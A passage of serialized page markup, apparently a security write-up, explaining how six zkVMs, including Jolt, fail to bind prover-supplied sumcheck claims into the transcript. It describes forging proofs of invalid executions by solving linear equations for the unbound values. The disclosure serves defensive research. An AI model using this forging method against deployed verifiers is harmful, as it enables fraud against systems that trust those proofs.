,"children":113804},{"className":113802,"style":113803},[3751],"height:0.3281em;",[113805],{"type":26,"tag":475,"props":113806,"children":113808},{"style":113807},"top:-2.357em;margin-right:0.0714em;",[113809,113813],{"type":26,"tag":475,"props":113810,"children":113812},{"className":113811,"style":108339},[3760],[],{"type":26,"tag":475,"props":113814,"children":113816},{"className":113815},[3766,108344,108345,3769],[113817],{"type":26,"tag":475,"props":113818,"children":113820},{"className":113819,"style":113702},[3719,21296,3769],[113821],{"type":32,"value":8368},{"type":26,"tag":475,"props":113823,"children":113825},{"className":113824},[21453],[113826],{"type":32,"value":21456},{"type":26,"tag":475,"props":113828,"children":113830},{"className":113829},[3746],[113831],{"type":26,"tag":475,"props":113832,"children":113835},{"className":113833,"style":113834},[3751],"height:0.2819em;",[113836],{"type":26,"tag":475,"props":113837,"children":113838},{},[],{"type":26,"tag":475,"props":113840,"children":113841},{"style":113052},[113842,113846],{"type":26,"tag":475,"props":113843,"children":113845},{"className":113844,"style":111650},[3760],[],{"type":26,"tag":475,"props":113847,"children":113849},{"className":113848,"style":113062},[113061],[],{"type":26,"tag":475,"props":113851,"children":113852},{"style":113066},[113853,113857],{"type":26,"tag":475,"props":113854,"children":113856},{"className":113855,"style":111650},[3760],[],{"type":26,"tag":475,"props":113858,"children":113860},{"className":113859},[3766,3767,3768,3769],[113861],{"type":26,"tag":475,"props":113862,"children":113864},{"className":113863},[3719,3769],[113865],{"type":26,"tag":475,"props":113866,"children":113868},{"className":113867},[3719,3769],[113869],{"type":32,"value":3722},{"type":26,"tag":475,"props":113871,"children":113873},{"className":113872},[21453],[113874],{"type":32,"value":21456},{"type":26,"tag":475,"props":113876,"children":113878},{"className":113877},[3746],[113879],{"type":26,"tag":475,"props":113880,"children":113883},{"className":113881,"style":113882},[3751],"height:0.5423em;",[113884],{"type":26,"tag":475,"props":113885,"children":113886},{},[],{"type":26,"tag":475,"props":113888,"children":113890},{"className":113889},[21447,112997],[],{"type":26,"tag":475,"props":113892,"children":113894},{"className":113893,"style":3801},[3800],[],{"type":26,"tag":475,"props":113896,"children":113898},{"className":113897},[3806],[113899],{"type":32,"value":3780},{"type":26,"tag":475,"props":113901,"children":113903},{"className":113902,"style":3801},[3800],[],{"type":26,"tag":475,"props":113905,"children":113907},{"className":113906},[3708],[113908,113913,113971,113975],{"type":26,"tag":475,"props":113909,"children":113912},{"className":113910,"style":113911},[3713],"height:1.296em;vertical-align:-0.4509em;",[],{"type":26,"tag":475,"props":113914,"children":113916},{"className":113915},[21332],[113917,113922],{"type":26,"tag":475,"props":113918,"children":113920},{"className":113919,"style":21339},[21332,21337,21338],[113921],{"type":32,"value":108274},{"type":26,"tag":475,"props":113923,"children":113925},{"className":113924},[3736],[113926],{"type":26,"tag":475,"props":113927,"children":113929},{"className":113928},[3741,21350],[113930,113959],{"type":26,"tag":475,"props":113931,"children":113933},{"className":113932},[3746],[113934,113954],{"type":26,"tag":475,"props":113935,"children":113937},{"className":113936,"style":113151},[3751],[113938],{"type":26,"tag":475,"props":113939,"children":113940},{"style":21363},[113941,113945],{"type":26,"tag":475,"props":113942,"children":113944},{"className":113943,"style":3761},[3760],[],{"type":26,"tag":475,"props":113946,"children":113948},{"className":113947},[3766,3767,3768,3769],[113949],{"type":26,"tag":475,"props":113950,"children":113952},{"className":113951,"style":94096},[3719,21296,3769],[113953],{"type":32,"value":88304},{"type":26,"tag":475,"props":113955,"children":113957},{"className":113956},[21453],[113958],{"type":32,"value":21456},{"type":26,"tag":475,"props":113960,"children":113962},{"className":113961},[3746],[113963],{"type":26,"tag":475,"props":113964,"children":113967},{"className":113965,"style":113966},[3751],"height:0.2997em;",[113968],{"type":26,"tag":475,"props":113969,"children":113970},{},[],{"type":26,"tag":475,"props":113972,"children":113974},{"className":113973,"style":3839},[3800],[],{"type":26,"tag":475,"props":113976,"children":113978},{"className":113977},[3719],[113979,113983,114136],{"type":26,"tag":475,"props":113980,"children":113982},{"className":113981},[21425,112997],[],{"type":26,"tag":475,"props":113984,"children":113986},{"className":113985},[113002],[113987],{"type":26,"tag":475,"props":113988,"children":113990},{"className":113989},[3741,21350],[113991,114124],{"type":26,"tag":475,"props":113992,"children":113994},{"className":113993},[3746],[113995,114119],{"type":26,"tag":475,"props":113996,"children":113998},{"className":113997,"style":113015},[3751],[113999,114088,114099],{"type":26,"tag":475,"props":114000,"children":114001},{"style":113019},[114002,114006],{"type":26,"tag":475,"props":114003,"children":114005},{"className":114004,"style":111650},[3760],[],{"type":26,"tag":475,"props":114007,"children":114009},{"className":114008},[3766,3767,3768,3769],[114010],{"type":26,"tag":475,"props":114011,"children":114013},{"className":114012},[3719,3769],[114014,114019,114024],{"type":26,"tag":475,"props":114015,"children":114017},{"className":114016,"style":113036},[3719,21296,3769],[114018],{"type":32,"value":113039},{"type":26,"tag":475,"props":114020,"children":114022},{"className":114021},[3806,3769],[114023],{"type":32,"value":3780},{"type":26,"tag":475,"props":114025,"children":114027},{"className":114026},[3719,3769],[114028,114038],{"type":26,"tag":475,"props":114029,"children":114031},{"className":114030},[3719,32,3769],[114032],{"type":26,"tag":475,"props":114033,"children":114035},{"className":114034},[3719,3769],[114036],{"type":32,"value":114037},"consume",{"type":26,"tag":475,"props":114039,"children":114041},{"className":114040},[3736],[114042],{"type":26,"tag":475,"props":114043,"children":114045},{"className":114044},[3741,21350],[114046,114076],{"type":26,"tag":475,"props":114047,"children":114049},{"className":114048},[3746],[114050,114071],{"type":26,"tag":475,"props":114051,"children":114053},{"className":114052,"style":111811},[3751],[114054],{"type":26,"tag":475,"props":114055,"children":114057},{"style":114056},"top:-2.3488em;margin-right:0.0714em;",[114058,114062],{"type":26,"tag":475,"props":114059,"children":114061},{"className":114060,"style":108339},[3760],[],{"type":26,"tag":475,"props":114063,"children":114065},{"className":114064},[3766,108344,108345,3769],[114066],{"type":26,"tag":475,"props":114067,"children":114069},{"className":114068,"style":94096},[3719,21296,3769],[114070],{"type":32,"value":88304},{"type":26,"tag":475,"props":114072,"children":114074},{"className":114073},[21453],[114075],{"type":32,"value":21456},{"type":26,"tag":475,"props":114077,"children":114079},{"className":114078},[3746],[114080],{"type":26,"tag":475,"props":114081,"children":114084},{"className":114082,"style":114083},[3751],"height:0.1512em;",[114085],{"type":26,"tag":475,"props":114086,"children":114087},{},[],{"type":26,"tag":475,"props":114089,"children":114090},{"style":113052},[114091,114095],{"type":26,"tag":475,"props":114092,"children":114094},{"className":114093,"style":111650},[3760],[],{"type":26,"tag":475,"props":114096,"children":114098},{"className":114097,"style":113062},[113061],[],{"type":26,"tag":475,"props":114100,"children":114101},{"style":113066},[114102,114106],{"type":26,"tag":475,"props":114103,"children":114105},{"className":114104,"style":111650},[3760],[],{"type":26,"tag":475,"props":114107,"children":114109},{"className":114108},[3766,3767,3768,3769],[114110],{"type":26,"tag":475,"props":114111,"children":114113},{"className":114112},[3719,3769],[114114],{"type":26,"tag":475,"props":114115,"children":114117},{"className":114116},[3719,3769],[114118],{"type":32,"value":3722},{"type":26,"tag":475,"props":114120,"children":114122},{"className":114121},[21453],[114123],{"type":32,"value":21456},{"type":26,"tag":475,"props":114125,"children":114127},{"className":114126},[3746],[114128],{"type":26,"tag":475,"props":114129,"children":114132},{"className":114130,"style":114131},[3751],"height:0.4509em;",[114133],{"type":26,"tag":475,"props":114134,"children":114135},{},[],{"type":26,"tag":475,"props":114137,"children":114139},{"className":114138},[21447,112997],[],{"type":26,"tag":35,"props":114141,"children":114142},{},[114143,114145,114327],{"type":32,"value":114144},"The global check: ",{"type":26,"tag":53,"props":114146,"children":114148},{"className":114147},[3691,3692],[114149],{"type":26,"tag":475,"props":114150,"children":114152},{"className":114151},[3697],[114153],{"type":26,"tag":475,"props":114154,"children":114156},{"className":114155,"ariaHidden":3703},[3702],[114157,114314],{"type":26,"tag":475,"props":114158,"children":114160},{"className":114159},[3708],[114161,114165,114222,114226,114235,114240,114301,114305,114310],{"type":26,"tag":475,"props":114162,"children":114164},{"className":114163,"style":92609},[3713],[],{"type":26,"tag":475,"props":114166,"children":114168},{"className":114167},[21332],[114169,114174],{"type":26,"tag":475,"props":114170,"children":114172},{"className":114171,"style":21339},[21332,21337,21338],[114173],{"type":32,"value":108274},{"type":26,"tag":475,"props":114175,"children":114177},{"className":114176},[3736],[114178],{"type":26,"tag":475,"props":114179,"children":114181},{"className":114180},[3741,21350],[114182,114211],{"type":26,"tag":475,"props":114183,"children":114185},{"className":114184},[3746],[114186,114206],{"type":26,"tag":475,"props":114187,"children":114189},{"className":114188,"style":113686},[3751],[114190],{"type":26,"tag":475,"props":114191,"children":114192},{"style":21363},[114193,114197],{"type":26,"tag":475,"props":114194,"children":114196},{"className":114195,"style":3761},[3760],[],{"type":26,"tag":475,"props":114198,"children":114200},{"className":114199},[3766,3767,3768,3769],[114201],{"type":26,"tag":475,"props":114202,"children":114204},{"className":114203},[3719,21296,3769],[114205],{"type":32,"value":3445},{"type":26,"tag":475,"props":114207,"children":114209},{"className":114208},[21453],[114210],{"type":32,"value":21456},{"type":26,"tag":475,"props":114212,"children":114214},{"className":114213},[3746],[114215],{"type":26,"tag":475,"props":114216,"children":114218},{"className":114217,"style":113966},[3751],[114219],{"type":26,"tag":475,"props":114220,"children":114221},{},[],{"type":26,"tag":475,"props":114223,"children":114225},{"className":114224,"style":3839},[3800],[],{"type":26,"tag":475,"props":114227,"children":114229},{"className":114228},[3719,32],[114230],{"type":26,"tag":475,"props":114231,"children":114233},{"className":114232},[3719],[114234],{"type":32,"value":113572},{"type":26,"tag":475,"props":114236,"children":114238},{"className":114237,"style":92667},[3719],[114239],{"type":32,"value":2789},{"type":26,"tag":475,"props":114241,"children":114243},{"className":114242},[3719],[114244,114253],{"type":26,"tag":475,"props":114245,"children":114247},{"className":114246},[3719,32],[114248],{"type":26,"tag":475,"props":114249,"children":114251},{"className":114250},[3719],[114252],{"type":32,"value":76261},{"type":26,"tag":475,"props":114254,"children":114256},{"className":114255},[3736],[114257],{"type":26,"tag":475,"props":114258,"children":114260},{"className":114259},[3741,21350],[114261,114290],{"type":26,"tag":475,"props":114262,"children":114264},{"className":114263},[3746],[114265,114285],{"type":26,"tag":475,"props":114266,"children":114268},{"className":114267,"style":93196},[3751],[114269],{"type":26,"tag":475,"props":114270,"children":114271},{"style":113609},[114272,114276],{"type":26,"tag":475,"props":114273,"children":114275},{"className":114274,"style":3761},[3760],[],{"type":26,"tag":475,"props":114277,"children":114279},{"className":114278},[3766,3767,3768,3769],[114280],{"type":26,"tag":475,"props":114281,"children":114283},{"className":114282},[3719,21296,3769],[114284],{"type":32,"value":3445},{"type":26,"tag":475,"props":114286,"children":114288},{"className":114287},[21453],[114289],{"type":32,"value":21456},{"type":26,"tag":475,"props":114291,"children":114293},{"className":114292},[3746],[114294],{"type":26,"tag":475,"props":114295,"children":114297},{"className":114296,"style":92750},[3751],[114298],{"type":26,"tag":475,"props":114299,"children":114300},{},[],{"type":26,"tag":475,"props":114302,"children":114304},{"className":114303,"style":3898},[3800],[],{"type":26,"tag":475,"props":114306,"children":114308},{"className":114307},[3903],[114309],{"type":32,"value":786},{"type":26,"tag":475,"props":114311,"children":114313},{"className":114312,"style":3898},[3800],[],{"type":26,"tag":475,"props":114315,"children":114317},{"className":114316},[3708],[114318,114322],{"type":26,"tag":475,"props":114319,"children":114321},{"className":114320,"style":93698},[3713],[],{"type":26,"tag":475,"props":114323,"children":114325},{"className":114324},[3719],[114326],{"type":32,"value":3732},{"type":32,"value":353},{"type":26,"tag":35,"props":114329,"children":114330},{},[114331,114336,114338,114344],{"type":26,"tag":105,"props":114332,"children":114333},{},[114334],{"type":32,"value":114335},"Why this is vulnerable:",{"type":32,"value":114337}," The ",{"type":26,"tag":53,"props":114339,"children":114341},{"className":114340},[],[114342],{"type":32,"value":114343},"claimed_sum",{"type":32,"value":114345}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":26,"tag":18502,"props":114347,"children":114348},{},[],{"type":26,"tag":27,"props":114350,"children":114352},{"id":114351},"the-universal-attack-pattern",[114353],{"type":32,"value":114354},"The Universal Attack Pattern",{"type":26,"tag":35,"props":114356,"children":114357},{},[114358],{"type":32,"value":114359},"Now we can describe the attack pattern that works on all six systems:",{"type":26,"tag":35,"props":114361,"children":114362},{},[114363],{"type":26,"tag":132,"props":114364,"children":114367},{"alt":114365,"src":114366},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":26,"tag":35,"props":114369,"children":114370},{},[114371,114373,114398],{"type":32,"value":114372},"When a value ",{"type":26,"tag":53,"props":114374,"children":114376},{"className":114375},[3691,3692],[114377],{"type":26,"tag":475,"props":114378,"children":114380},{"className":114379},[3697],[114381],{"type":26,"tag":475,"props":114382,"children":114384},{"className":114383,"ariaHidden":3703},[3702],[114385],{"type":26,"tag":475,"props":114386,"children":114388},{"className":114387},[3708],[114389,114393],{"type":26,"tag":475,"props":114390,"children":114392},{"className":114391,"style":21291},[3713],[],{"type":26,"tag":475,"props":114394,"children":114396},{"className":114395,"style":107677},[3719,21296],[114397],{"type":32,"value":108001},{"type":32,"value":114399}," isn't transcript-bound:",{"type":26,"tag":181,"props":114401,"children":114402},{},[114403,114434,114511,114656],{"type":26,"tag":86,"props":114404,"children":114405},{},[114406,114408,114433],{"type":32,"value":114407},"Challenges are fixed (independent of ",{"type":26,"tag":53,"props":114409,"children":114411},{"className":114410},[3691,3692],[114412],{"type":26,"tag":475,"props":114413,"children":114415},{"className":114414},[3697],[114416],{"type":26,"tag":475,"props":114417,"children":114419},{"className":114418,"ariaHidden":3703},[3702],[114420],{"type":26,"tag":475,"props":114421,"children":114423},{"className":114422},[3708],[114424,114428],{"type":26,"tag":475,"props":114425,"children":114427},{"className":114426,"style":21291},[3713],[],{"type":26,"tag":475,"props":114429,"children":114431},{"className":114430,"style":107677},[3719,21296],[114432],{"type":32,"value":108001},{"type":32,"value":2835},{"type":26,"tag":86,"props":114435,"children":114436},{},[114437,114439],{"type":32,"value":114438},"The verification equation has form: ",{"type":26,"tag":53,"props":114440,"children":114442},{"className":114441},[3691,3692],[114443],{"type":26,"tag":475,"props":114444,"children":114446},{"className":114445},[3697],[114447],{"type":26,"tag":475,"props":114448,"children":114450},{"className":114449,"ariaHidden":3703},[3702],[114451,114492],{"type":26,"tag":475,"props":114452,"children":114454},{"className":114453},[3708],[114455,114459,114464,114469,114474,114479,114483,114488],{"type":26,"tag":475,"props":114456,"children":114458},{"className":114457,"style":3821},[3713],[],{"type":26,"tag":475,"props":114460,"children":114462},{"className":114461,"style":95021},[3719,21296],[114463],{"type":32,"value":32782},{"type":26,"tag":475,"props":114465,"children":114467},{"className":114466},[21425],[114468],{"type":32,"value":626},{"type":26,"tag":475,"props":114470,"children":114472},{"className":114471,"style":107677},[3719,21296],[114473],{"type":32,"value":108001},{"type":26,"tag":475,"props":114475,"children":114477},{"className":114476},[21447],[114478],{"type":32,"value":2835},{"type":26,"tag":475,"props":114480,"children":114482},{"className":114481,"style":3898},[3800],[],{"type":26,"tag":475,"props":114484,"children":114486},{"className":114485},[3903],[114487],{"type":32,"value":786},{"type":26,"tag":475,"props":114489,"children":114491},{"className":114490,"style":3898},[3800],[],{"type":26,"tag":475,"props":114493,"children":114495},{"className":114494},[3708],[114496,114501],{"type":26,"tag":475,"props":114497,"children":114500},{"className":114498,"style":114499},[3713],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":114502,"children":114504},{"className":114503},[3719,32],[114505],{"type":26,"tag":475,"props":114506,"children":114508},{"className":114507},[3719],[114509],{"type":32,"value":114510},"target",{"type":26,"tag":86,"props":114512,"children":114513},{},[114514,114515,114541,114543],{"type":32,"value":7192},{"type":26,"tag":53,"props":114516,"children":114518},{"className":114517},[3691,3692],[114519],{"type":26,"tag":475,"props":114520,"children":114522},{"className":114521},[3697],[114523],{"type":26,"tag":475,"props":114524,"children":114526},{"className":114525,"ariaHidden":3703},[3702],[114527],{"type":26,"tag":475,"props":114528,"children":114530},{"className":114529},[3708],[114531,114536],{"type":26,"tag":475,"props":114532,"children":114535},{"className":114533,"style":114534},[3713],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":114537,"children":114539},{"className":114538,"style":95021},[3719,21296],[114540],{"type":32,"value":32782},{"type":32,"value":114542}," is linear: ",{"type":26,"tag":53,"props":114544,"children":114546},{"className":114545},[3691,3692],[114547],{"type":26,"tag":475,"props":114548,"children":114550},{"className":114549},[3697],[114551],{"type":26,"tag":475,"props":114552,"children":114554},{"className":114553,"ariaHidden":3703},[3702],[114555,114584,114611,114639],{"type":26,"tag":475,"props":114556,"children":114558},{"className":114557},[3708],[114559,114564,114571,114575,114580],{"type":26,"tag":475,"props":114560,"children":114563},{"className":114561,"style":114562},[3713],"height:0.4445em;",[],{"type":26,"tag":475,"props":114565,"children":114568},{"className":114566,"style":114567},[3719,21296],"margin-right:0.0037em;",[114569],{"type":32,"value":114570},"α",{"type":26,"tag":475,"props":114572,"children":114574},{"className":114573,"style":3801},[3800],[],{"type":26,"tag":475,"props":114576,"children":114578},{"className":114577},[3806],[114579],{"type":32,"value":110741},{"type":26,"tag":475,"props":114581,"children":114583},{"className":114582,"style":3801},[3800],[],{"type":26,"tag":475,"props":114585,"children":114587},{"className":114586},[3708],[114588,114593,114598,114602,114607],{"type":26,"tag":475,"props":114589,"children":114592},{"className":114590,"style":114591},[3713],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":114594,"children":114596},{"className":114595,"style":107677},[3719,21296],[114597],{"type":32,"value":108001},{"type":26,"tag":475,"props":114599,"children":114601},{"className":114600,"style":3801},[3800],[],{"type":26,"tag":475,"props":114603,"children":114605},{"className":114604},[3806],[114606],{"type":32,"value":1106},{"type":26,"tag":475,"props":114608,"children":114610},{"className":114609,"style":3801},[3800],[],{"type":26,"tag":475,"props":114612,"children":114614},{"className":114613},[3708],[114615,114619,114626,114630,114635],{"type":26,"tag":475,"props":114616,"children":114618},{"className":114617,"style":114534},[3713],[],{"type":26,"tag":475,"props":114620,"children":114623},{"className":114621,"style":114622},[3719,21296],"margin-right:0.05278em;",[114624],{"type":32,"value":114625},"β",{"type":26,"tag":475,"props":114627,"children":114629},{"className":114628,"style":3898},[3800],[],{"type":26,"tag":475,"props":114631,"children":114633},{"className":114632},[3903],[114634],{"type":32,"value":786},{"type":26,"tag":475,"props":114636,"children":114638},{"className":114637,"style":3898},[3800],[],{"type":26,"tag":475,"props":114640,"children":114642},{"className":114641},[3708],[114643,114647],{"type":26,"tag":475,"props":114644,"children":114646},{"className":114645,"style":114499},[3713],[],{"type":26,"tag":475,"props":114648,"children":114650},{"className":114649},[3719,32],[114651],{"type":26,"tag":475,"props":114652,"children":114654},{"className":114653},[3719],[114655],{"type":32,"value":114510},{"type":26,"tag":86,"props":114657,"children":114658},{},[114659,114661],{"type":32,"value":114660},"Solve: ",{"type":26,"tag":53,"props":114662,"children":114664},{"className":114663},[3691,3692],[114665],{"type":26,"tag":475,"props":114666,"children":114668},{"className":114667},[3697],[114669],{"type":26,"tag":475,"props":114670,"children":114672},{"className":114671,"ariaHidden":3703},[3702],[114673,114699,114734],{"type":26,"tag":475,"props":114674,"children":114676},{"className":114675},[3708],[114677,114681,114686,114690,114695],{"type":26,"tag":475,"props":114678,"children":114680},{"className":114679,"style":21291},[3713],[],{"type":26,"tag":475,"props":114682,"children":114684},{"className":114683,"style":107677},[3719,21296],[114685],{"type":32,"value":108001},{"type":26,"tag":475,"props":114687,"children":114689},{"className":114688,"style":3898},[3800],[],{"type":26,"tag":475,"props":114691,"children":114693},{"className":114692},[3903],[114694],{"type":32,"value":786},{"type":26,"tag":475,"props":114696,"children":114698},{"className":114697,"style":3898},[3800],[],{"type":26,"tag":475,"props":114700,"children":114702},{"className":114701},[3708],[114703,114707,114712,114721,114725,114730],{"type":26,"tag":475,"props":114704,"children":114706},{"className":114705,"style":3821},[3713],[],{"type":26,"tag":475,"props":114708,"children":114710},{"className":114709},[21425],[114711],{"type":32,"value":626},{"type":26,"tag":475,"props":114713,"children":114715},{"className":114714},[3719,32],[114716],{"type":26,"tag":475,"props":114717,"children":114719},{"className":114718},[3719],[114720],{"type":32,"value":114510},{"type":26,"tag":475,"props":114722,"children":114724},{"className":114723,"style":3801},[3800],[],{"type":26,"tag":475,"props":114726,"children":114728},{"className":114727},[3806],[114729],{"type":32,"value":3780},{"type":26,"tag":475,"props":114731,"children":114733},{"className":114732,"style":3801},[3800],[],{"type":26,"tag":475,"props":114735,"children":114737},{"className":114736},[3708],[114738,114742,114747,114752,114757],{"type":26,"tag":475,"props":114739,"children":114741},{"className":114740,"style":3821},[3713],[],{"type":26,"tag":475,"props":114743,"children":114745},{"className":114744,"style":114622},[3719,21296],[114746],{"type":32,"value":114625},{"type":26,"tag":475,"props":114748,"children":114750},{"className":114749},[21447],[114751],{"type":32,"value":2835},{"type":26,"tag":475,"props":114753,"children":114755},{"className":114754},[3719],[114756],{"type":32,"value":4292},{"type":26,"tag":475,"props":114758,"children":114760},{"className":114759,"style":114567},[3719,21296],[114761],{"type":32,"value":114570},{"type":26,"tag":35,"props":114763,"children":114764},{},[114765],{"type":32,"value":114766},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":26,"tag":35,"props":114768,"children":114769},{},[114770,114772,114850],{"type":32,"value":114771},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":26,"tag":53,"props":114773,"children":114775},{"className":114774},[3691,3692],[114776],{"type":26,"tag":475,"props":114777,"children":114779},{"className":114778},[3697],[114780],{"type":26,"tag":475,"props":114781,"children":114783},{"className":114782,"ariaHidden":3703},[3702],[114784],{"type":26,"tag":475,"props":114785,"children":114787},{"className":114786},[3708],[114788,114793,114799,114804,114845],{"type":26,"tag":475,"props":114789,"children":114792},{"className":114790,"style":114791},[3713],"height:1.0641em;vertical-align:-0.25em;",[],{"type":26,"tag":475,"props":114794,"children":114796},{"className":114795,"style":92667},[3719,21296],[114797],{"type":32,"value":114798},"O",{"type":26,"tag":475,"props":114800,"children":114802},{"className":114801},[21425],[114803],{"type":32,"value":626},{"type":26,"tag":475,"props":114805,"children":114807},{"className":114806},[3719],[114808,114813],{"type":26,"tag":475,"props":114809,"children":114811},{"className":114810},[3719,21296],[114812],{"type":32,"value":56095},{"type":26,"tag":475,"props":114814,"children":114816},{"className":114815},[3736],[114817],{"type":26,"tag":475,"props":114818,"children":114820},{"className":114819},[3741],[114821],{"type":26,"tag":475,"props":114822,"children":114824},{"className":114823},[3746],[114825],{"type":26,"tag":475,"props":114826,"children":114828},{"className":114827,"style":3714},[3751],[114829],{"type":26,"tag":475,"props":114830,"children":114831},{"style":3755},[114832,114836],{"type":26,"tag":475,"props":114833,"children":114835},{"className":114834,"style":3761},[3760],[],{"type":26,"tag":475,"props":114837,"children":114839},{"className":114838},[3766,3767,3768,3769],[114840],{"type":26,"tag":475,"props":114841,"children":114843},{"className":114842},[3719,3769],[114844],{"type":32,"value":17002},{"type":26,"tag":475,"props":114846,"children":114848},{"className":114847},[21447],[114849],{"type":32,"value":2835},{"type":32,"value":114851}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":26,"tag":18502,"props":114853,"children":114854},{},[],{"type":26,"tag":27,"props":114856,"children":114858},{"id":114857},"the-six-broken-systems",[114859],{"type":32,"value":114860},"The Six Broken Systems",{"type":26,"tag":35,"props":114862,"children":114863},{},[114864],{"type":26,"tag":132,"props":114865,"children":114868},{"alt":114866,"src":114867},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":26,"tag":35,"props":114870,"children":114871},{},[114872],{"type":32,"value":114873},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":26,"tag":18502,"props":114875,"children":114876},{},[],{"type":26,"tag":41,"props":114878,"children":114880},{"id":114879},"jolt-a16z",[114881],{"type":32,"value":114882},"Jolt (a16z)",{"type":26,"tag":35,"props":114884,"children":114885},{},[114886],{"type":32,"value":114887},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":26,"tag":35,"props":114889,"children":114890},{},[114891],{"type":26,"tag":105,"props":114892,"children":114893},{},[114894],{"type":32,"value":114895},"The proof structure:",{"type":26,"tag":465,"props":114897,"children":114899},{"code":114898},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[114900],{"type":26,"tag":53,"props":114901,"children":114902},{"__ignoreMap":7},[114903],{"type":32,"value":114898},{"type":26,"tag":35,"props":114905,"children":114906},{},[114907],{"type":26,"tag":105,"props":114908,"children":114909},{},[114910],{"type":32,"value":114911},"The verification flow:",{"type":26,"tag":35,"props":114913,"children":114914},{},[114915],{"type":26,"tag":132,"props":114916,"children":114919},{"alt":114917,"src":114918},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":26,"tag":35,"props":114921,"children":114922},{},[114923,114928,114930,114936,114938,114944,114946,114951],{"type":26,"tag":105,"props":114924,"children":114925},{},[114926],{"type":32,"value":114927},"The bug:",{"type":32,"value":114929}," Each sumcheck instance provides an ",{"type":26,"tag":53,"props":114931,"children":114933},{"className":114932},[],[114934],{"type":32,"value":114935},"input_claim",{"type":32,"value":114937},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":26,"tag":53,"props":114939,"children":114941},{"className":114940},[],[114942],{"type":32,"value":114943},"opening_claims",{"type":32,"value":114945}," in the proof, but they were ",{"type":26,"tag":105,"props":114947,"children":114948},{},[114949],{"type":32,"value":114950},"never absorbed into the transcript",{"type":32,"value":114952}," before the batching coefficients were derived.",{"type":26,"tag":35,"props":114954,"children":114955},{},[114956],{"type":26,"tag":132,"props":114957,"children":114960},{"alt":114958,"src":114959},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":26,"tag":35,"props":114962,"children":114963},{},[114964],{"type":26,"tag":105,"props":114965,"children":114966},{},[114967],{"type":32,"value":114968},"How sumcheck uses opening_claims:",{"type":26,"tag":35,"props":114970,"children":114971},{},[114972,114974,114980,114982,115059],{"type":32,"value":114973},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":26,"tag":53,"props":114975,"children":114977},{"className":114976},[],[114978],{"type":32,"value":114979},"BatchedClaim",{"type":32,"value":114981}," by taking a random linear combination of the individual claims ",{"type":26,"tag":53,"props":114983,"children":114985},{"className":114984},[3691,3692],[114986],{"type":26,"tag":475,"props":114987,"children":114989},{"className":114988},[3697],[114990],{"type":26,"tag":475,"props":114991,"children":114993},{"className":114992,"ariaHidden":3703},[3702],[114994],{"type":26,"tag":475,"props":114995,"children":114997},{"className":114996},[3708],[114998,115002],{"type":26,"tag":475,"props":114999,"children":115001},{"className":115000,"style":110476},[3713],[],{"type":26,"tag":475,"props":115003,"children":115005},{"className":115004},[3719],[115006,115011],{"type":26,"tag":475,"props":115007,"children":115009},{"className":115008,"style":92901},[3719,21296],[115010],{"type":32,"value":92904},{"type":26,"tag":475,"props":115012,"children":115014},{"className":115013},[3736],[115015],{"type":26,"tag":475,"props":115016,"children":115018},{"className":115017},[3741,21350],[115019,115048],{"type":26,"tag":475,"props":115020,"children":115022},{"className":115021},[3746],[115023,115043],{"type":26,"tag":475,"props":115024,"children":115026},{"className":115025,"style":93196},[3751],[115027],{"type":26,"tag":475,"props":115028,"children":115029},{"style":109908},[115030,115034],{"type":26,"tag":475,"props":115031,"children":115033},{"className":115032,"style":3761},[3760],[],{"type":26,"tag":475,"props":115035,"children":115037},{"className":115036},[3766,3767,3768,3769],[115038],{"type":26,"tag":475,"props":115039,"children":115041},{"className":115040},[3719,21296,3769],[115042],{"type":32,"value":3445},{"type":26,"tag":475,"props":115044,"children":115046},{"className":115045},[21453],[115047],{"type":32,"value":21456},{"type":26,"tag":475,"props":115049,"children":115051},{"className":115050},[3746],[115052],{"type":26,"tag":475,"props":115053,"children":115055},{"className":115054,"style":92750},[3751],[115056],{"type":26,"tag":475,"props":115057,"children":115058},{},[],{"type":32,"value":179},{"type":26,"tag":35,"props":115061,"children":115062},{},[115063],{"type":26,"tag":53,"props":115064,"children":115066},{"className":115065},[3691,3692],[115067],{"type":26,"tag":475,"props":115068,"children":115070},{"className":115069},[3697],[115071],{"type":26,"tag":475,"props":115072,"children":115074},{"className":115073,"ariaHidden":3703},[3702],[115075,115105,115246],{"type":26,"tag":475,"props":115076,"children":115078},{"className":115077},[3708],[115079,115083,115092,115096,115101],{"type":26,"tag":475,"props":115080,"children":115082},{"className":115081,"style":92582},[3713],[],{"type":26,"tag":475,"props":115084,"children":115086},{"className":115085},[3719,32],[115087],{"type":26,"tag":475,"props":115088,"children":115090},{"className":115089},[3719],[115091],{"type":32,"value":114979},{"type":26,"tag":475,"props":115093,"children":115095},{"className":115094,"style":3898},[3800],[],{"type":26,"tag":475,"props":115097,"children":115099},{"className":115098},[3903],[115100],{"type":32,"value":786},{"type":26,"tag":475,"props":115102,"children":115104},{"className":115103,"style":3898},[3800],[],{"type":26,"tag":475,"props":115106,"children":115108},{"className":115107},[3708],[115109,115114,115171,115175,115233,115237,115242],{"type":26,"tag":475,"props":115110,"children":115113},{"className":115111,"style":115112},[3713],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":26,"tag":475,"props":115115,"children":115117},{"className":115116},[21332],[115118,1151